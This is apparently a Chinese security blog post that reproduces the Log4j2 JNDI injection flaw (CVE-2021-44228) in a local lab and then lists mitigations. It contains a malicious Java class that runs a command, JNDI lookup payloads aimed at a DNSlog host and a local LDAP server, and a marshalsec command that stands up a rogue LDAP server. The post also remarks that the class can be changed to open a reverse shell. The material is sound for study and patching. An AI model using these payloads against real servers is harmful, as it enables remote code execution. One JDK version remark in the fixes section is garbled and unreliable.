loading...
Log4j2漏洞复现
Published in:2022-03-15 | category: java | rce

0x00简介

Apache Log4j2是一个优秀的java程序日志监控组件,提供了方便的日志记录。以前的java打印日志比较繁琐,常常使用system.err和system.out,这样一来会导致IO操作增加,输出的内容不能保存,无法定制日志格式等,于是有了log4j2日志组件。

Log4j2与Log4j不是同一个东西,Log4j2借鉴了Slf4j和Logback,分为log4j-Api和log4j-core。log4j是CeKi Gulcu编写的,而log4j2是Apache独立推出的。

0x01影响

影响范围

Apache Log4j 2.x<=2.14.1。

受影响的应用及组件

spring-boot-strater-log4j2

Apache Solr

Apache Flink

Apache Druid

漏洞编号为CNVD-2021-95919,CVE-2021-44228。

0x02漏洞原理

攻击流程

攻击者在某些网站中的表单输入带有${}字样,服务器的log4j框架作为日志输出,但由于log4j存在漏洞,直接解析了${},若{}内有攻击的命令,则会造成命令执行。解析后会先访问LDAP服务器,然后解析出我们需要的文件exp.java,并向HTTP服务器请求该文件,然后服务器在本地实例化exp.java并执行里面的exp类

简化来说

攻击者自身启动一台云服务器,并编写一个payload,里面带有${攻击者公网IP/#文件名},发送到受害者服务器,通过log4j漏洞,到LDAP服务器,并向攻击者公网服务器中请求攻击的文件,从该文件中实例化执行了里面的恶意类

流程图

JNDI注入

JNDI服务

JNDI全称为访问命名和目录服务的API,提供统一的客户端API。管理者将JNDI API映射为特定的命名服务和目录系统,使得JAVA应用可以和这些命名服务和目录服务之间进行交互。

JNDI类似JDBC构建在抽象层,现在已经成为了J2EE的标准之一。

LADP协议

全称是轻量级目录访问协议。它约定了客户端和服务端之间的信息交互格式使用的端口号认证方式等其他内容。如强大的AD(Active Directory)就是LDAP在Windows的实现。

0x02复现步骤

1、创建一个新的maven项目,并导入导致漏洞的Log4j2组件

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>

2、编译一个恶意类exp,调用命令打开计算器

javac exp.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class exp {
public exp(){
try{
String cmd = "calc";
Process pc = Runtime.getRuntime().exec(cmd);
pc.waitFor();
}catch (Exception e){
e.printStackTrace();
}
}
public static void main(String[] args) {
exp exp = new exp();
}
}

3、编写一个poc.java检测是否经过Dnslog

1
2
3
4
5
6
7
8
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
class log4jTest {
public static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
logger.error("${jndi:ldap://79ggcm.dnslog.cn}");
}
}

4、启动恶意的本地LDAP服务

1
2
3
git clone git@github.com:bkfish/Apache-Log4j-Learning.git
cd Apache-Log4j-Learning/tools
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#exp"

5、编写正式的exp

1
2
3
4
5
6
7
8
9
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
class log4jTest {
public static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
logger.error("${jndi:ldap://localhost:1389/exp}");
//地址为恶意jndi服务器
}
}

里面内容可以改成反弹shell

0x03解决方法

1、禁用log4j2的lookup功能

设置日志输出 Pattern 格式

对于 >=2.7 的版本,在 log4j 中对每一个日志输出格式进行修改。在 %msg 占位符后面添加 {nolookups}

设置JVM系统属性

在 Java 应用启动参数中增加 -Dlog4j2.formatMsgNoLookups=true

修改配置文件

在配置文件 log4j2.component.properties 中增加:log4j2.formatMsgNoLookups=true,配置文件放置于应用程序的 ClassPath 路径下。

设置进程环境变量

在环境变量中增加:LOG4J_FORMAT_MSG_NO_LOOKUPS=true

2、禁用JNDI服务

3、升级高版本jdk

​ jdk超过1.8小于jdk8

4、升级log4j2版本

​ 将 log4j-core 升级到 2.15.0 版本

Prev:
向日葵RCE漏洞分析
Next:
XSS靶场实战二(11-20关)
catalog
catalog